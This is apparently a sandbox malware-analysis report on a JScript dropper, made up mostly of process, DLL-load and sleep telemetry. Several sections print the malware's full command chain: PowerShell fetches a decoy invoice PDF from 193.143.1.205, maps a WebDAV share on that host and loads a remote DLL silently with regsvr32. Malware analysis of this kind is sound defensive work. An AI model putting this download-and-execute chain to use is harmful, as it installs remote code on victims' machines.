Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\2399.js.csv");ITextStream.WriteLine(" entry:7673 f:sicamfi");ITextStream.WriteLine(" exec:2 f:sicamfi");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49707

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4907			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4785			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8120	Thread sleep count: 4907 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8120	Thread sleep count: 4785 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8164	Thread sleep time: -13835058055282155s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8184	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8100	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1656	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7688	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 2156	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000007.00000002.1503585580.0000026E816CF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2704478649.0000020A2745C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000002.1503585580.0000026E816CF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW^
Source: svchost.exe, 00000009.00000002.2702959973.0000020A21E2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000002.1503585580.0000026E81668000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`Em

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11398827913605.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11398827913605.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11398827913605.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11398827913605.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11398827913605.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
